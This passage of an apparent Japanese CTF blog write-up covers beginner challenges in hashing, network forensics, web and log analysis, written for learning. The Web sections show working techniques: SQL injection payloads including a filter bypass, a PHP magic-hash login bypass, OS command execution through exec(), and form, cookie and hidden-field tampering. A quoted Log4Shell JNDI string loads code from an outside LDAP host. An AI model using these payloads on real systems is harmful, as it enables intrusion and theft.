            echo flag{XXXXXXXXX};
        }
        else {
            echo "Try harder";
        }
    }
    else {
	echo "Invalid parameters";
    }
--->
```

crackstationでハッシュ値を解析する。
| Hash | Type | Result |
| :--- | :--- | :--- |
| 35675e68f4b5af7b995d9205ad0fc43842f16450 | sha1 | guest |
| 30274c47903bd1bac7633bbf09743149ebab805f | sha1 | passwd |

ログインすると、flagゲット!!!。

`flag{sha1_is_already_collapsed!!}`

## More Secure Auth - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/3deeb832-7cc4-4b92-ab95-641d941dd25b.png)
アクセスすると、ログイン画面で表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/446697c7-a0d8-4589-8045-fe95d3feab6a.png)
コメントになにかヒントがあるかもしれないので、コード探索。
コメント発見!!!
```
<!---
if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("sha1", $_GET['username']) != "d033e22ae348aeb5660fc2140aec35850c4da997") {
            echo "Invalid username";
        }
	else if(hash("sha1", $_GET['password']) == "0e91298726054891218946392579236129043019") {
            echo flag{XXXXXXX};
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
--->
```

同様にcrackstationで解析するも、パスワードはヒットせず...
| Hash | Type | Result |
| :--- | :--- | :--- |
| d033e22ae348aeb5660fc2140aec35850c4da997 | sha1 | admin |
| 0e91298726054891218946392579236129043019 | Unknown | Not found |

ヒントを見る。
```
ハッシュ値の先頭2文字に注目してみましょう
```
ハッシュ値の先頭2文字`0e`で調べると、マジックハッシュという手法を発見。
以下chatgpt様の説明。
```
SHA1ハッシュの先頭が 0e で始まる場合、PHPの緩い比較（==）の脆弱性を利用した「マジックハッシュ」である可能性があります。PHPでは、文字列が数値として評価される際、先頭が数値の場合に数値として解釈されます。0e で始まる文字列は 0 x 10^n と解釈され、n がどんな数であっても結果は 0 になります。

つまり、もし二つの異なる文字列のSHA1ハッシュ値がどちらも 0e で始まり、その後に続く文字列がすべて数値である場合、PHPはこれらを 0 として比較し、true を返してしまうことがあります。
```

既知のマジックハッシュを探していると、githubを発見。

https://github.com/spaze/hashes/blob/master/sha1.md

githubにあった既知のマジックハッシュでログインを試みると、成功しflagゲット。

`flag{magic_hash_is_strange_and_miracle_hash}`

# Network

## ゴルゴ13 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/0baadfb4-087a-4c72-80e9-1840e467f625.png)

とりあえず`flag`で`grep`してみる。

```bash
$ strings HTTP_Connection.pcapng | grep flag
    <img src="flag.png">
-GET /flag.png HTTP/1.1
```

flag.pngがとても怪しい...

[wireshark](https://www.wireshark.org/)でエクスポートする。
`File` → `Export Objects` → `HTTP` を選択する。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/fdc5d981-72ad-4a16-bf95-e0d0bbd37477.png)

保存して表示してみる。

![image-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/09fa98d1-69ad-4785-99d2-e5f06b77027a.png)

flagがそのままでた！

`flag{reward_swiss_bank}`

## 怪しい機器を特定する切り札は物理層 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/c9589f60-0f7a-4d56-a114-54cafd224950.png)

MACアドレスでベンダーを検索すればよさそう。

`maclookup`というコマンドがあるらしいが、kali-linuxで使えなかったので他のやり方を探す。

調べていくと、[https://api.macvendors.com/](https://api.macvendors.com/)がヒット！

サンプルのphpコードに従って使ってみる。

```bash
$ curl -s https://api.macvendors.com/98-B6-E9-NT-64-32
Nintendo Co.,Ltd
```

天下の任天堂様だった。

`flag{Nintendo}`

# Web

## Apache Webサーバーが出力するログ解析 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/39230707-1492-4c95-9923-5aa80732754a.png)

txtファイルなのでとりあえず`grep`してみる。

```bash
$ grep cwe web_attack.log
```

何もヒットしなかった...

とりあえず1行する読んでみる。

```bash
$ cat web_attack.log
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid-1 AND (SELECT 6810 FROM (SELECT COUNT(*), CONCAT (0x7171787671, (SELECT (ELT (6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT (7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT (ELT (1399=1399, 1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; rus rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:27 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.11 ru rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
```

SQLインジェクションを使っている。
SQLインジェクションのCWEを調べる。

`CWE-89`がSQLインジェクションらしい...

CWEについてはIPAの[このサイト](https://www.ipa.go.jp/security/vuln/scap/cwe.html)が参考になった。

`flag{CWE-89}`

## 気味の悪い拡張子 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/faea3d88-3ee9-423d-a192-a232ed86eada.png)

なんも浮かばないのでヒントを見てみる。

```
トークン とは、ユーザーの認証情報を表す文字列です。 JWT は、その一種で、JSON Web Tokenの略称です。RFC 7519 にて、その規格が定義されています。 jwt.io のサイトでは、与えられたトークンを3つの構成要素（ヘッダー、ペイロード、署名）に分解し、それぞれの内容を表示させることが可能です。
```

とりあえず`jwt.io`を使ってみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/63bd21bb-8339-4b6c-afdc-02220dc394d5.png)

flag発見！

`flag{fridaythe13th}`

## 【Attack 1】 認証情報 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/d6b9bf4a-257e-4ae4-a232-b34847a67202.png)

アクセスして、管理者ログインページに移動。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/7686818e-fedf-4a26-b081-c507a9392d34.png)
適当にSQLインジェクションを試すも失敗。
添付されているtxtファイルを見ると、メールアドレスとパスワードらしきものが羅列されている。
メールアドレスが分かればパスワードが分かりそう。
管理者ページの前のメインページを探索すると、お問い合わせ用のメールアドレスを発見!!!

```bash
$ grep gray.bear.banana@example.com list.txt 
gray.bear.banana@example.com:B0M}@pH'#L
```

ヒット!!!
入力するとflagが得られる。

`flag{credent1al_5taff}`

## 【Attack 2】防御の回避 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/47ac7a2a-0103-49f4-b20f-6906376ead43.png)

アクセスすると、ログインページが表示される。
ページのソースを調べるが、特に何もないためSQLインジェクションの問題と推察。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/81d08982-c831-464d-afaf-a9413da97b2a.png)

`' or 1=1 #`で試すと、`使えない文字列が含まれています`と表示される。
色々試すと、`=`がブロックされていることが分かった。
`' or true #`でflagゲット。

`flag{sq1_injec7ion}`

## 【Attack 3】計算機 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/8fe26c40-e8f5-4244-97cf-6f7101e49758.png)

アクセスすると、入力した式を計算してくれるPHPページが開く。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/480b8217-64ba-44aa-a8cd-51219e4cc095.png)
ページのソースコードを探索。

コメント発見！
```
<!-- TODO：計算機能以外にコマンドが使えるのを修正　例）exec("コマンド") -->
```
コマンドが使えるみたい。脆弱...
```bash
exec("ls")
flag.txt fruits.txt

exec("cat flag.txt")
flag{os_command}
```

`flag{os_command}`

## 【Defense 1】ログ分析 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/cb97413b-691f-4c84-b140-92c20f0b5b68.png)
ログ解析の問題。
アクセスされたということは`200`や`GET`がヒットしそうなのでgrepする。

```bash
grep GET access.log 
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /thereIsNoWayThat-You-CanBeThere. HTTP/1.1" 404 449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:50 -0700] "GET /about_us/ HTTP/1.1" 200 406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:51 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
```

`about_us/`がヒット。
アクセスするとflagゲット。

`flag{f0rced_br0w5ing}`

## 【Defense 2】ログ分析2 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/36e48bd9-772a-49f8-869c-72b01cb415e2.png)

とりあえず、中身を見てみる
```:modsec_audit.log
--6049b525-A--
[08/Jul/2024:02:44:23 --0700] Zou09@3Nx7xessHOJp2AawAAAEA 172.16.10.1 39846 172.16.10.100 80
--6049b525-B--
GET /service/login.html/ HTTP/1.1
Host: 172.16.10.100
Accept: */*
User-Agent: ${jndi:ldap://172.16.10.10:8080/explot}

--6049b525-H--
Message: Warning. Pattern match "(?:^([\\d.]+|\\[[\\da-f:]+\\]|[\\da-f:]+)(:[\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. Pattern match "(?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"]
Message: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"]
Message: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?:^([\\\\\\\\d.]+|\\\\\\\\[[\\\\\\\\da-f:]+\\\\\\\\]|[\\\\\\\\da-f:]+)(:[\\\\\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\$|&dollar;?)(?:\\\\\\\\{|&l(?:brace|cub);?)(?:[^\\\\\\\\}]{0,15}(?:\\\\\\\\$|&dollar;?)(?:\\\\\\\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Stopwatch: 1720431863277775 3254 (- - -)
Stopwatch2: 1720431863277775 3254; combined=2349, p1=1023, p2=684, p3=86, p4=397, p5=159, sr=0, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/); OWASP_CRS/4.4.0.
Server: Apache/2.4.41 (Ubuntu)
Engine-Mode: "DETECTION_ONLY"

--6049b525-Z--
```
う～ん...分からん。
chatgpt様に聞いてみる。
`${jndi:ldap://172.16.10.10:8080/exploit}`より[CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)がヒット
RCEできるやつらしい。

`CVE-2021-44228`

# Python

## Pythonスクリプトをオンライン実行環境で動作させる。 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/f553eb56-42ae-409a-914a-6b56749c40cf.png)

これはオンラインで動かさずとも、コード見ればいい。

`flag{online_judge}`

# Web-Extra

## White Page 1

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/b56365f8-72de-4c78-a649-58ac561ab092.png)

ページのソースを見てみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/c567202e-0dbe-4320-9628-7bbcde4d9019.png)

めちゃくちゃ普通にflagある！

`flag{white_text_in_white_page}`

## White Page 2

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/319908e0-c099-4027-8f90-d35d0c1046c6.png)

ソースには特に問題なかったので、コンソールとかいろいろ見る。
コンソールにflagがあった!!!

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/517139c9-20e0-4a13-ae54-4726db1bce3e.png)

`flag{console_is_console}`

## White Page 3

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/1b0a640c-4b9f-44f2-b7cb-66808c66e450.png)

ページソースを見てみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/664b21d2-02ac-441f-86b8-546fad85f26a.png)

怪しめのimgがあるので開いてみる。

![image-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/5f1a70fa-0df2-4f7b-9327-bef02dbd8af1.png)

flagゲット！

`flag{display_none_image_can_be_found}`

## White Page 4

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/1e499106-9471-4a3d-8cfe-cc8429620a6e.png)

同様にページソースを見てみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/bef24de2-1811-4ea0-8dcc-c7d46ac5cc00.png)

`titleタグ`にflagがあった！
これはEasy~

`flag{dynamic_title!}`

## White Page 5 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/41041386-d583-4b33-8dc5-a46ec9477646.png)

これもページソースを見てみる。

![image-1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/56397fc2-5630-4566-a889-44ce5c5c8796.png)

特になにも見つからんかったので、ヒントを見てみる。

```bash
変な通信が行われている…?
```

ヒントからとりあえず[burpsuite](https://portswigger.net/burp)で解析してみる

![image-2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/261b2527-a79c-4dad-a70e-62d0053b727b.png)

jsonにflagがあった！

`flag{response_is_visible}`

## White Page 6 - 100pt

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/ff8287f2-0c2b-47f3-bd22-5462e7785334.png)

最初からburpsuiteで解析してみる。

特になにもないので、ページソースを見ると...
```html
<p color="#ffffff" class="sc-iBkjds hhtSHX">a</p>
```
上の p タグの文字が変わっていっている！
手動で入力してもいいが、見逃しそうなので自動化する
変化を追跡するコードを記憶から引っ張りだして書くも動作せず...
しかたないので、chagpt様にコードを吐かせた

コンソールタブで

```js
let target = document.querySelector('.sc-iBkjds.hhtSHX');

new MutationObserver((mutations) => {
    mutations.forEach(mutation => {
        console.log("変化検出:", mutation.target.textContent);
    });
}).observe(target, { childList: true, subtree: true, characterData: true });
```
を実行して追跡

```bash
VM47:5 変化検出: a
VM47:5 変化検出: g
VM47:5 変化検出: {
VM47:5 変化検出: i
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: a
VM47:5 変化検出: n
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: o
VM47:5 変化検出: n
VM47:5 変化検出: t
VM47:5 変化検出: r
VM47:5 変化検出: o
VM47:5 変化検出: l
VM47:5 変化検出: _
VM47:5 変化検出: t
VM47:5 変化検出: i
VM47:5 変化検出: m
VM47:5 変化検出: i
VM47:5 変化検出: n
VM47:5 変化検出: g
VM47:5 変化検出: }
```

見切れちゃったけど、flagが分かった

`flag{i_can_control_timing}`

## FLAG QUEST1 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/1402dbeb-11a4-483b-880e-98d42758154e.png)

アクセスすると、メニュー画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/5443b0d4-f4a6-4817-b0eb-11c6c526e814.png)

もんだい１にアクセス
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/9197ca1c-2004-4994-b600-8aebbd806814.png)

とりあえず、戦う前に`ずかん`に行ってみる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/fb2d1eb1-c9f3-4711-b00d-b4f398e41dc3.png)
スライムとまおうの情報が見れる。
モンスターはIDで管理されているみたい。

戦いに行く。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/6949838f-8836-4d95-9c06-343a57f30dd3.png)
普通に戦っても、負けてしまう。
URLに着目すると、`http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=2`となっていることが分かる  
スライムのidが1だったので、`http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=1`としてアクセス  
敵がスライムに変わった！一撃で倒して、flagゲット。

ちなみに倒した後に、命乞いされる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/fbc5c9d5-177e-470a-8f34-449a467203da.png)

見逃さずにflagゲット。
`flag{slime_i5_totem0_kawa1so0o}`

## FLAG QUEST2 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/585b90e7-3920-4b8e-8d74-9ecd4ae1ddc2.png)
アクセスする。
UIはFLAG QUEST 1と変わらない。
普通に戦うと、負けて神父からアドバイスを貰える。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/ad467a30-2a55-41f5-894d-beb02cb68201.png)

難しすぎる...じゃあ簡単にしたい！
ページのソースコードをよく読んでみる。
```html
<div class="main-area">
      <div class="logo-area">
        <img src="/public/image/Flag_Quest_Logo.png">
      </div>
      <div class="msg-area">
        <p></p>
      </div>
      <input form="startForm" type="hidden" name="hardmode" value="on">  
      <form id="startForm" action="/probrem-2/start" method="POST">
        <div class="name-area">
          <p class="name-label">ゆうしゃのなまえ（４もじいない）</p>
          <input type="text" maxlength="4" name="yushaName" class="name-input">
        </div>
        <div class="menu-area">
           
          <div class="menu-item"><button type="submmit" class="menu-item">たたかう</button></div>
            
          <div class="menu-item"><div id="open-library" class="menu-item">ずかん</div></div>
             
        </div>
      </form>
    </div>
```
`<input form="startForm" type="hidden" name="hardmode" value="on"> `で難易度を制御しているみたい。
`value="off"`にして戦うと、簡単になりflagゲット。

`flag{thi5_is_easyyyy_m0de!!}`

## FLAG QUEST3 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/c2e4cfbe-82c2-4664-b3d6-e641d889e7e0.png)
同様にアクセスして、戦って負けて神父にアドバイスを求めようとする。
しかし、戦いの冒頭で魔王が何やら怪しい一言を言ってきた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/b5be251d-562d-4fb7-836f-f9189ad6491c.png)

二回目の挑戦を挑むと、2回目と言ってきた。
しかも回数とMPが一致している!!!

調べるとCookieで制御していた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/5ff43c38-41a6-4358-9f6c-aa10c2334844.png)
挑戦回数とMPが関係しているということはおそらくMPを使って倒すのだろう...  
とりあえず、Cookieを1000に書き換えて挑戦。
`じゅもん`を見てみると、いかにもなやつがあるのでそれで魔王を倒してflagゲット!!!

`flag{u_need_mp_f0r_spe1l}`

## FLAG QUEST4 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/3675d3bf-97e3-47c0-9f2a-6ad6d23abae0.png)
同様にアクセスしてみると、今回は`どうぐや`が新しく実装されている。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/201c3176-c2dd-47b9-91ba-8a2da09ad7c7.png)
必要そうなので、購入ボタンを押すと...
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/38b6e94e-13f3-4154-bb47-748a70c9a446.png)
`ひかりのたま？`をゲット。
そのまま、戦いに行き使用すると即死してしまう。
おかしいと思い、ページのソースを見てみる。
```html
<div class="shop-item-detail">            
    <div id="detail-2" style="display: block;">
        <img class="shop-item-pic mCS_img_loaded" src="/public/image/ball.png" style="display: inline;">
        <div class="shop-item-info" style="display: block;">
            <p style="display: block;">なまえ：ひかりのたま</p>
            <p style="display: block;">せつめい：つかうと　せいなる　ひかりが　てきの　こうげきを　ふせいでくれる</p>
        </div>
        <div class="purchase-button-area" style="display: block;">
            <button class="purchase-button" id="purchase-2" style="display: inline-block;">
                こうにゅう
            </button>
              
            <button class="click-jack" id="purchase-3" style="display: inline-block;">
              
            </button>
        </div>
    </div>
</div>
```
クリックジャッキングになっている。
クリックジャッキングのボタンを非表示にして購入すると、`ひかりのたま`を購入できた!!!

そのまま、戦いに行き魔王に勝ってflagゲット。

`flag{us1ng_c0rrect_item_15_very_imp0rtant}`

## FLAG QUEST5 - 100pt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/f5b10519-f2dd-4f39-968a-5bf4a811dd1d.png)

今回から新たに、`さかば`が実装されている。
種族は人間固定(inputタグがreadonly)になっているが、職業は選べる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/555ed53f-73ef-4ca3-93d1-7751b2f78227.png)
3人まで仲間にできる。  
適当に選んで魔王に挑むと1ターン目で一番HPが低い仲間が攻撃され、開始2ターンで人間には絶対に壊せないバリアを展開され、一方的に敗れる。  
人間以外の仲間が必要だ!!!  
FLAG QUEST 1 で倒したスライムを仲間にしたい...
もう一度スライムを倒しに行き、命乞いを受け入れ恩を売っておく。  
さかばに行き、inputタグのreadonlyをはずして`しゅぞく`を選択できるようにする。
スライムを仲間にできた!!!

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/ad2edd36-0447-438c-b3d2-a5ed2340ed4a.png)

1ターン目は一番HPが低い仲間が攻撃されてしまうので、1ターン目用に`よわよわスライム`よりもHPが低い`にとたろう`を仲間にする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3936581/c5d05072-a328-4aa3-9329-8e382048ec5d.png)

あと一人は適当に選んで、戦いに行く。
一ターン目で`にとたろう`が死んでしまう。
二ターン目で魔王にバリアを展開されるが、スライムがはがしてくれる。
あとは普通に倒してflagゲット。(にとたろう可哀想...)

`flag{u_are_true_her0!!!!}`

# 終わりに

今までpicoCTFとかに参加していたが、具体的なツール等をあまり知らなかったので、今回の講習で知ることができたので良かった。
特にNetwork系の問題に苦手意識があったが、今回ので軽減され、wiresharkの偉大さを感じた。
まだSECCONは参加したことがないので、今年は参加しようと思った。